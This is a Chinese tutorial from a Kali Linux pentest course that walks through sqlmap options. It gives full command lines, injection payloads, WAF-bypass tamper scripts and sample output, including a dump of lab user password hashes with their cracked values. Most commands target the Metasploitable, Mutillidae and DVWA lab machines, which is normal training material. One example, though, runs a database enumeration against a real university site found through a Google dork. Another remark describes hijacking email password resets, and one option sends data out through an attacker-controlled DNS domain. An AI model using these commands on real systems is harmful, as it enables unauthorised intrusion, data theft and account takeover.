Kali Linux渗透测试(苑房弘)Sqlmap

来源:互联网 发布:淘宝买的鞋子味道很大 编辑:程序博客网 时间:2024/06/03 03:40

本文记录 Kali Linux 2017.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程
1. Sqlmap 简介
2. Target
3. Requests
4.Optization(优化)
5. injection
6. detection
7. techniques
8. fingerprint(指纹信息)
9. enumeration (枚举)
10. brute force
11. udf injection
12. file system
13. OS
14. windows registory
15. general
16. 参数助记符 -Z
17. miscellaneous(杂项)

1. Sqlmap 简介

1. 五种漏洞检测技术    基于布尔的盲注检测    基于时间的盲注检测        and (select * from (select(sleep(20)))--+    基于错误的检测    基于UNION联合查询的检测        适用于通过循环直接输出联合查询结果,否则只显示第一项结果    基于堆叠查询的检测        堆叠多个查询语句        适用于非select的数据修改、删除的操作
2.其他特性    数据库直接连接-d        不通过SQL注入,制定身份认证信息、P、端口    与burpsuite、google结合使用,支持政策表达式限定测试目标    Get、post、cookie、Referer、UserAgent (随机或指定)        Cookie过期后自动处理Set-Cookie头,更新cookie信息    限速: 最大并发、延迟发送    支持Basic,Digest,NTLM,CA身份认证    数据库版本、用户、权限、hash枚举和字典破解、暴力破解表列名称、文件上传下载、UDF、启动并执行存储过程、操作系统命令执行、访问windows注册表与w3af、metasploit集成结合使用,基于数据库服务进程提权和上传执行后门    支持的数据库管理系统DBMS        MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB
3. 安装与升级    基于python2.7 开发    kali2.0 安装        apt-get install git        git clone https://github.com/sqlmapproject/sqlmap.git         sqlmap-dev    kali2.0 升级        sqlmap -update  在线        git pull        离线        Kali集成版随kali库更新    kali linux 2017.1 升级        root@attacker:~# apt-get install sqlmap
4. 查看帮助    root@attacker:~# sqlmap --version        1.1.9#stable    root@attacker:~# sqlmap -hh        Options:          -h, --help            Show basic help message and exit          -hh                   Show advanced help message and exit          --version             Show program's version number and exit          -v VERBOSE            Verbosity level: 0-6 (default 1)        略。。。
5. Sqlmap 自动化注入命令简介    查看帮助:sqlmap -h / -hh    查看版本:sqlmap --version -v    常用参数:sqlmap -d "mysql://user:password@192.168.20.10:3306/dvwa" -f --users        --banner --dbs --schema -a    日志:.sqlmap    输出:输出内容详细度分7个等级

2. Target 详解

1. Target:    At least one of these options has to be provided to define the    target(s)    -d DIRECT           Connection string for direct database connection    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")    -l LOGFILE          Parse target(s) from Burp or WebScarab proxy log file    -x SITEMAPURL       Parse target(s) from remote sitemap(.xml) file    -m BULKFILE         Scan multiple targets given in a textual file    -r REQUESTFILE      Load HTTP request from a file    -g GOOGLEDORK       Process Google dork results as target URLs    -c CONFIGFILE       Load options from a configuration INI file
2. GET 方法打开 Metasploitabe2-Linux,网址 http://10.10.10.254/mutillidae/     查看 OWASP Top 10 的第一个的 sql 注入漏洞页面,http://10.10.10.254/mutillidae/index.php?page=user-info.php 随便输入账号和密码获取链接        http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details    使用 sqlmap 扫描这个链接         root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details"  -p username            sqlmap identified the following injection point(s) with a total of 250 HTTP(s) requests:            ---            Parameter: password (GET)                Type: UNION query                Title: Generic UNION query (NULL) - 5 columns                Payload: page=user-info.php&username=admin&password=password' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716b7a6a71,0x48744563706e4555645953627345484f4272475a71756a4a784d7672426b4e6a494f524953574d54,0x7171787171),NULL-- EOid&user-info-php-submit-button=View Account Details            Parameter: username (GET)                Type: UNION query                Title: Generic UNION query (NULL) - 5 columns                Payload: page=user-info.php&username=admin' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716b7a6a71,0x465454796f435365516e4d4659655a4a4d4b626e526d426b6570514346764a4165764172756d4971,0x7171787171),NULL-- FkHX&password=password&user-info-php-submit-button=View Account Details            [03:11:21] [INFO] testing MySQL            [03:11:21] [INFO] confirming MySQL            [03:11:21] [INFO] the back-end DBMS is MySQL            web server operating system: Linux Ubuntu 8.04 (Hardy Heron)            web application technology: PHP 5.2.4, Apache 2.2.8            back-end DBMS: MySQL >= 5.0.0            [03:11:21] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.254'        查询结果被放在 /root/.sqlmap/output/10.10.10.254        针对用户列表查询             root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username --users        针对版本信息查询:            root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username --banner        针对数据库信息查询:            root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username --dbs        针对元数据进行查询:            root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username --schema        查询所有的信息:            root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username -a                [03:38:17] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.254'
3. 使用 url 列表进行扫描    root@attacker:~# vim list.txt        http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details    root@attacker:~# sqlmap -m list.txt    root@attacker:~# sqlmap -m list.txt --dbs
4. 扫描 google 搜索结果    sqlmap.py -g "inurl:\".php?id=1\""
5. POST 方法 (提交表单时,数据内容不会出现在 url 地址中)    POST方法    1. 使用http请求文件(burpsuite)        打开 http://10.10.10.254/mutillidae/ 找到 sql 注入的第二个页面 http://10.10.10.254/mutillidae/index.php?page=login.php            提交表单时,数据内容不会出现在 url 地址中,判定为 post 方法        打开 burpsuite 的 proxy 选项卡,的值代理是开启的,然后浏览器打开代理的 Your Freedom,提交表单          burpsuite 捕获数据包头,复制并保存至 /root/post.txt            root@attacker:~# vim post.txt                POST /mutillidae/index.php?page=login.php HTTP/1.1                Host: 10.10.10.254                User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8                Accept-Language: en-US,en;q=0.5                Referer: http://10.10.10.254/mutillidae/index.php?page=login.php                Cookie: PHPSESSID=3286002c3410a64d5a24887e19ed61ef                Connection: close                Cache-Control: max-age=0                Content-Type: application/x-www-form-urlencoded                Content-Length: 62                username=admin&password=password&login-php-submit-button=Login        读取请求文件              root@attacker:~# sqlmap -r post.txt --dbs                [05:18:25] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.254'    2. 使用burpsuite log文件        打开 burpsuite 的 Project options 选项卡的 Misc ,勾选 Logging 的 Proxy 的 Requests ,选择日志保存路径          点击 Proxy 的 intercapt is off 选项卡,浏览器登录表单        root@attacker:~# vim log.txt  发现已经有了内容        使用 sqlmap 进行扫描            root@attacker:~# sqlmap -l log.txt             root@attacker:~# sqlmap -l log.txt            root@attacker:~# sqlmap -l log.txt -p username
6. HTTPS        sqlmap -u "https://1.1.1.1/a.php?id=1:8843" --force-ssl
7. 配置文件    默认配置文件放置位置        root@attacker:~# dpkg -L sqlmap | grep sqlmap.conf             /etc/sqlmap/sqlmap.conf            /usr/share/doc/sqlmap/examples/sqlmap.conf.gz    可以调用配置文件        sqlmap -c sqlmap.conf

3. Requests

1. 简介数据段:--data    get /post 都适用    sqlmap -u "http:// 1.1.1.1/a.php" --data="user= 1&pass=2" -f变量分隔符:--param-del    http:// 1.1.1.1/a.php?q=foo;id=1 // ; &    sqlmap -u "http://1.1.1.1/a.php " --data="q=foo;id=1"-param-del=";" -fcookie 头: --cookie    web应用需要基于cookie的身份认证    检查cookie中的注入点(level>=2)    Set-Cookie /-drop-set-cookie / --cookie-del    #不更新cookie,继续使用原本的cookie    sqlmap -u"http://1.1.1.1/a.php?id=1" -cookie="a= 1;b=2"-f--user-agent    sqlmap/ 1.0-dev-xxxxxx (http://sqlmap.org)--random-agent(列表中随机抽取)    /usr/share/sqlmap/txt/user-agents.txtsqlmap检查user-agent中的注入点:  Level >= 3APP/WAF/IPS/IDS 过滤异常user-agent时报错    [hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code,try to force the HTTP User-Agent header with option --USer agent or --random-agentHost头:--host    Level = 5 才会检查 Host 是否存在注入点Referer头: --referer    Level >= 3额外的header: --headers    每个头单独一行(名称区分大小写)    sqlmap -u “http://1.1.1.1/a.php?id=1--headers="host:www.a.com\nUser-Agent:yuanfh"--method =GET/POST基于HTTP协议的身份验证    Basic    Digest    NTLM    sqlmap -u "http://1.1.1.1/a.php?id=1" --auth-type Basic -auth-cred"user:pass"--auth-cert / --auth-file    --auth-file="ca.PEM"    含有私钥的PEM格式证书文件    PEM格式的证书链文件http(s) 代理    --proxy="http:// 127.0.0.1:8087"    --proxy-cred="name :pass"    --ignore-proxy   #忽略系统级代理设置,通常用于扫描本地网络目标    sqlmap -u "http://1.1.1.1/a.php?id=1"--proxy="http://127.0.0.1:8087"-f--delay    每次http(s)请求之间延迟时间,浮点数,单位为秒,默认无延迟--timeout    请求超时时间,浮点数,默认为30秒-retries    http(s)连接超时重试次数,默认3--randomize    长度、类型与原始值保持一致的前提下,指定每次请求随机取值的参数名--scope    过滤日志内容,通过正则表达式筛选扫描对象    sqlmap -| burp.log --scope-"(www)?\.target\.(com|net|org)"    sqlmap -l 2.log --scope="(19)?\.168\.20\.(1|10|100)" --level 3 --dbs    可发现User-agent中的注入点--safe-url /--safe-freq    检测和盲注阶段会产生大量失败请求,服务器端可能因此销毁session    每发送-safe-freq次注入请求后,发送一次正常请求--skip-urlencode    默认Get方法会对传输内容进行编码,某些WEB服务器不遵守RFC标准编码,使用原始字符提交数据--eval    每次请求前执行指定的python代码    每次请求更改或增加新的参数值(时间依赖、其他参数值依赖)    sqlmap -u "http://1.1.1.1/a.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="importhashlib;hash=hashlib.md5(id).hexdigest()"
2.  Post 请求:    打开 http://10.10.10.254/mutillidae 的 sql 注入的第二个 http://10.10.10.254/mutillidae/index.php?page=login.php    使用 firebug 抓取登录页,在 Post 中查看 源代码 username=1&password=q&login-php-submit-button=Login        root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=login.php" --data="username=1&password=q&login-php-submit-button=Login" --dbs    GET 请求:    打开 http://10.10.10.254/mutillidae 的 sql 注入的第一个 http://10.10.10.254/mutillidae/index.php?page=user-info.php    使用 firebug 抓取登录页,复制地址并拆分        root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php" --data="page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p username --users    Cookie:    打开 dvwa的sql 注入页面并提交一次 http://10.10.10.254/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#         使用 firebug 抓取cookie;“security=low; PHPSESSID=3286002c3410a64d5a24887e19ed61ef”        root@attacker:~# sqlmap -u "http://10.10.10.254/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=3286002c3410a64d5a24887e19ed61ef" --dbs    --level 2 扫描级别,共5级,越高扫描越详细        root@attacker:~# sqlmap -u "http://10.10.10.254/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=3286002c3410a64d5a24887e19ed61ef" --level 2 --dbs
3. user-agens    使用 wireshark 抓包,分析数据了,查看文件头可以看到用户代理信息    --user-agent (系统默认)        sqlmap/ 1.0-dev-xxxxxx (http://sqlmap.org)        root@attacker:~# sqlmap -u "http://10.10.10.254/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=3286002c3410a64d5a24887e19ed61ef" --level 2 --dbs    --random-agent(列表中随机抽取)        /usr/share/sqlmap/txt/user-agents.txt        root@attacker:~# sqlmap -u "http://10.10.10.254/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=3286002c3410a64d5a24887e19ed61ef" --random-agent --dbs    --user-agent=AGENT(手工指定)        --user-agent=AGENT="aaaaaaaaaaaaa"        root@attacker:~# sqlmap -u "http://10.10.10.254/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=3286002c3410a64d5a24887e19ed61ef" --user-agent=AGENT="aaaaaaaaaaaaa" --dbs    检查代理是否有注入点,跟 level 有关系        root@attacker:~# sqlmap -u "http://10.10.10.254/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=3286002c3410a64d5a24887e19ed61ef" --user-agent=AGENT="aaaaaaaaaaaaa" --level 3 --dbs
4. host 头    root@attacker:~# sqlmap -u "http://10.10.10.254/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=3286002c3410a64d5a24887e19ed61ef" --host="aaaaaaaaaaaaa" --dbs           User-Agent: sqlmap/1.1.9#stable (http://sqlmap.org)        Host: aaaaaaaaaaaaa    检查 Host 头是否有注入点,跟 level 有关系(设为5才会检查 Host 头)        root@attacker:~# sqlmap -u "http://10.10.10.254/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=3286002c3410a64d5a24887e19ed61ef" --host="aaaaaaaaaaaaa" --level 5 --dbsReferer 头    检查 Referer 否有注入点,跟 level 有关系 Referer >= 3     root@attacker:~# sqlmap -u "http://10.10.10.254/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=3286002c3410a64d5a24887e19ed61ef" --referer="aaaaaaaaa" -f额外的header:    root@attacker:~# sqlmap -u "http://10.10.10.254/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=3286002c3410a64d5a24887e19ed61ef" --headers="Host:www.abs.com\nUser-Agent:bbbbbbbbbbbbbbb" -f        Host: www.abs.com        Accept: */*        User-Agent: bbbbbbbbbbbbbbb指定 http 请求方法:    --method=POST    --method=GET     root@attacker:~# sqlmap -u "http://10.10.10.254/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=3286002c3410a64d5a24887e19ed61ef" --headers="Host:www.abs.com\nUser-Agent:bbbbbbbbbbbbbbb" --method=GET -f
5. 基于 http 协议的身份认证基于HTTP协议的身份验证    Basic   Digest  NTLM    sqlmap -u "http://1.1.1.1/a.php?id=1" --auth-type Basic -auth-cred"user:pass"    指明身份认证类型及口令:    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php" --auth-type Basic --auth-cred "admin:password" --level 3  --auth-cert / --auth-file    --auth-file="ca.PEM"    含有私钥的PEM格式证书文件    PEM格式的证书链文件
6. https 代理搜索存在 sql 漏洞的网站 inurl:php?id=--proxy="http:// 127.0.0.1:8087"    root@attacker:~# sqlmap -u "http://zsb.ybu.edu.cn/index.php?id=135" --proxy="http://127.0.0.1:8087" --dbs --proxy-cred="name :pass"--ignore-proxy   #忽略系统级代理设置,通常用于扫描本地网络目标
7. --delay=""    每次http(s)请求之间延迟时间,浮点数,单位为秒,默认无延迟--timeout    请求超时时间,浮点数,默认为30秒-retries    http(s)连接超时重试次数,默认3--randomize    长度、类型与原始值保持一致的前提下,指定每次请求随机取值的参数名    sqlmap -u http://1.1.1.1/a.php?id=100 --randomize="id"  每次都跟id一样是三位数,但是随机取值--scope    过滤日志内容,通过正则表达式筛选扫描对象    sqlmap -| burp.log --scope-"(www)?\.target\.(com|net|org)"    sqlmap -l 2.log --scope="(19)?\.168\.20\.(1|10|100)" --level 3 --dbs        可发现User-agent中的注入点:         使用burpsuite来抓取并保存日志,如上面提到的 log.txt        root@attacker:~# sqlmap -l log.txt --scope="10\.10\.10\.(1|11|121|254)" --level 3 --dbs            [03:51:47] [INFO] heuristic (XSS) test shows that Referer parameter 'Referer' might be vulnerable to cross-site scripting attacks            [03:52:43] [INFO] heuristic (XSS) test shows that User-Agent parameter 'User-Agent' might be vulnerable to cross-site scripting attacks                [03:52:43] [INFO] testing for SQL injection on User-Agent parameter 'User-Agent'                [03:52:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'                [03:52:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (Generic comment)'                [03:52:50] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'                [03:52:51] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL) (original value)'                [03:52:51] [INFO] testing 'Boolean-based blind - Parameter replace (CASE)'                [03:52:51] [INFO] testing 'Boolean-based blind - Parameter replace (CASE) (original value)'                [03:52:51] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'                [03:53:15] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns'                [03:53:38] [INFO] testing 'Generic UNION query (NULL) - 11 to 20 columns'                [03:53:38] [INFO] testing 'Generic UNION query (random number) - 11 to 20 columns'                [03:53:38] [INFO] testing 'Generic UNION query (NULL) - 21 to 30 columns'--safe-url /--safe-freq    检测和盲注阶段会产生大量失败请求,服务器端可能因此销毁session    每发送-safe-freq次注入请求后,发送一次正常请求--skip-urlencode    默认Get方法会对传输内容进行编码,某些WEB服务器不遵守RFC标准编码,使用原始字符提交数据--eval    每次请求前执行指定的python代码    每次请求更改或增加新的参数值(时间依赖、其他参数值依赖)    sqlmap -u "http://1.1.1.1/a.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="importhashlib;hash=hashlib.md5(id).hexdigest()"        上述的 id= 的值经过 hash 计算可得到后面的哈希值,这种 id 的漏洞自动化扫描工具是完不成的,只能靠手工        破解邮箱时, id=“邮箱地址” ,后面跟上邮箱地址的哈希值,放到浏览器即可重置邮箱密码        root@attacker:~# echo   "781670201@qq.com" | md5sum | cut -d ' ' -f1            f596e32394008470154ac095e7f2c345
9. 

4.Optization(优化)

1. --predict-output    根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率    版本名、用户名、密码、Privileges、role、数据库名称、表名、列名    与-threads参数不兼容    统计表默认位置: /usr/share/sqlmap/txt/common-outputs.txt
2. --keep-alive    使用http(s)长连接,性能好    与--proxy参数不兼容    长连接避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源
3. --null-connection    只获取相应页面的大小值,而非页面具体内容    通常用于盲注判断真/假,降低网络带宽消耗    与--text-only参数不兼容(基于页面内容的比较判断真/假)
4. --threads    最大并发线程    盲注时每个线程获取一个字符(7次请求),获取完成后线程结束    默认值为1,建议不要超过1O,否则可能影响站点可用性    --predict-output参数不兼容
5. -O 开启前三个性能参数(除--threads参数)
6. sqlmap 在第一次向服务器执行查询请请求后,会将结果保存至本地,之后执行同样的查询请求时,会直接从本地文件调用并返回结果    位置:/root/.sqlmap/output/

5.injection

-P  指定扫描的参数,使--level失效    -p"user-agent,referer'    使用 10.10.10.254 的 multillidae 的sql注入第一个(GET方法),提交表单 http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details        root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --dbs--skip    排除指定的扫描参数    --level=5 --skip="id,user-agent"URI注入点    有形如目录的连接,sqlmap是无法自动识别的,可以手动在变量值后面加上一个*号    sqlmap -u "http://targetur/param1/value1*/param2/value2*/"指定数据库类型,只用针对某种数据库的方法来进行扫描,也可以指定版本--dbms=“mysql”    MySQL <5.0>    Oracle <11i>    Microsoft SQL Server <2005>    PostgreSQL    Microsoft Access    SQLite    Firebird    sybase    sAP MaxDB    DB2    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --dbms="mysql"--OS    Linux    Windows--invalid-bignum /--invalid-logical    通常sqlmap使用负值使参数取值失效id=13->id=-13    bignum使用大数使参数值失效id= 999999999    logical使用布尔判断使取值失效id=13 AND 18=19--no-cast    榨取数据时,sqlmap将所有结果转换为字符串,并用空格替换NULL结果    老版本mysq|数据库需要开启此开关--no-escape    出于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃逸的方法替换字符串    SELECT 'foo' -> SELECT CHAR(102)+CHAR(111)+CHAR(111)    本参数将关闭此功能--prefix / --suffix    $query = "SELECT * FROM users WHERE id=(‘".$_GET[id']."’) LIMIT O,1";    sqlmap -u "http://1.1.1.1/sqlmap/mysql/get_str_brackets.php?id=1" pid--prefix")" --suffix"AND ('abc'='abc"    query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT O,1";--tamper    混淆脚本,用于绕过应用层过滤、IPS、WAF    sqlmap-u*http://1.1.1.1/a.php?id=l"--tamper='tamper/between.py ,tamper/randomcase.py .tamper/space2comment.py "-v 3        root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="between.py,randomcase.py,space2comment.py"        root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="between.py,randomcase.py,space2comment.py" -v 3 --dbs    绕过 WAF 的脚本:        root@attacker:~# dpkg -L sqlmap | grep tamper

6.detection

--level    1-5级 (默认1)    /usr/share/sqlmap/xml/payloads        root@attacker:~# cd /usr/share/sqlmap/xml/payloads/        root@attacker:/usr/share/sqlmap/xml/payloads# ls            boolean_blind.xml  error_based.xml  inline_query.xml  stacked_queries.xml  time_blind.xml  union_query.xml--risk    1-4(默认1/无害,值越高风险越大)    Risk升高可造成数据被篡改等风险(update)--string,--not-string,--regexp,--code,--text-only,--titles    页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑,但有些页面随时间阈值变化,此时需要人为指定标识真假的字符串,

7.techniques

默认使用全部技术    B: Boolean-based blind    E: Error-based    U: Union query-based    s: Stacked queries (文件系统、操作系统、注册表必须)    T: Time-based blind--time-sec    基于时间的注入检测相应延迟时间(默认5秒)--union-cols    默认联合查询1-10列,随--level增加最多支持50列    --union-cols 6-9--union-char    联合查询默认使用NULL,极端情况下NULL可能失败,此时可以手动指定数值    --union-char 123--dns-domain    攻击者控制了某DNS服务器,使用此功能可以提高数据榨取的速度    --dns-domain attacker.com --second-order    在一个页面注入的结果,从另一个页面体现出来    --second-order http:// 1.1.1.1/b.php 

8. fingerprint(指纹信息)

-f,--fingerprint,-b,--banner    数据库管理系统指纹信息    DBMS,操作系统,架构,补丁

9. enumeration (枚举)

--current-user  # 当前数据库管理系统的账号    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="between.py,randomcase.py,space2comment.py" -v 3 --current-user --current-db        # 当前数据库名称    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="between.py,randomcase.py,space2comment.py" -v 3 --current-db        current database:    'owasp10'    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="between.py,randomcase.py,space2comment.py" -v 3 --dbs        available databases [7]:        [*] dvwa        [*] information_schema        [*] metasploit        [*] mysql        [*] owasp10        [*] tikiwiki        [*] tikiwiki195-hostname       # 查主机名    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="between.py,randomcase.py,space2comment.py" -v 3 --hostname        hostname:    'gate.dvssc.com'--users         #查所有的用户账户    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="between.py,randomcase.py,space2comment.py" -v 3 --users        database management system users [3]:        [*] 'debian-sys-maint'@''        [*] 'guest'@'%'        [*] 'root'@'%'--privileges -U 用户名 (CU 当前账号)     root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="between.py,randomcase.py,space2comment.py" -v 3 --privileges -U guest  #查 guest 用户    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="between.py,randomcase.py,space2comment.py" -v 3 --privileges -CU       #当前账号    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="between.py,randomcase.py,space2comment.py" -v 3 --privileges       #查所有用户--roles     #角色    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="between.py,randomcase.py,space2comment.py" -v 3 --roles--dbs       #数据库    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="between.py,randomcase.py,space2comment.py" -v 3 --dbs--exclude-sysdbs    #查数据库时排除系统数据库    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="between.py,randomcase.py,space2comment.py" -v 3 --dbs --exclude-sysdbs --count     #查有几条记录    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="between.py,randomcase.py,space2comment.py" -v 3 --count        +------------------------+---------+        | Table                  | Entries |        +------------------------+---------+        | users_grouppermissions | 3       |        | tiki_user_preferences  | 1       |        +------------------------+---------+-D 指定数据库     root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="between.py,randomcase.py,space2comment.py" -v 3 -D dvwa --tables-T 指定表    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="between.py,randomcase.py,space2comment.py" -v 3 -T users --columns-C 指定列--schema --batch --exclude-sysdbs 元数据(使用默认选项)    --batch #批处理,自动使用默认选项    --schema #详细详细Dump数据--dump,-C,-T,-D,-start,--stop    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="between.py,randomcase.py,space2comment.py" -v 3 -D dvwa -T users --dump        Database: dvwa        Table: users        [5 entries]        +---------+---------+-------------------------------------------------------+---------------------------------------------+-----------+------------+        | user_id | user    | avatar                                                | password                                    | last_name | first_name |        +---------+---------+-------------------------------------------------------+---------------------------------------------+-----------+------------+        | 1       | admin   | http://172.16.123.129/dvwa/hackable/users/admin.jpg   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin     | admin      |        | 2       | gordonb | http://172.16.123.129/dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     |        | 3       | 1337    | http://172.16.123.129/dvwa/hackable/users/1337.jpg    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       |        | 4       | pablo   | http://172.16.123.129/dvwa/hackable/users/pablo.jpg   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      |        | 5       | smithy  | http://172.16.123.129/dvwa/hackable/users/smithy.jpg  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        |        +---------+---------+-------------------------------------------------------+---------------------------------------------+-----------+------------+    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="between.py,randomcase.py,space2comment.py" -v 3 -D dvwa -T users --dump --start 3 --stop 4--dump-all --exclude-sysdbs    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="between.py,randomcase.py,space2comment.py" -v 3 -D dvwa -T users --dump-all--sql-query "select * from users"    root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="between.py,randomcase.py,space2comment.py" -v 3 -D dvwa -T users --sql-query "select * from users"dump存放路径:    root@attacker:~# more .sqlmap/output/10.10.10.254/dump/dvwa/users.csv

10. brute force

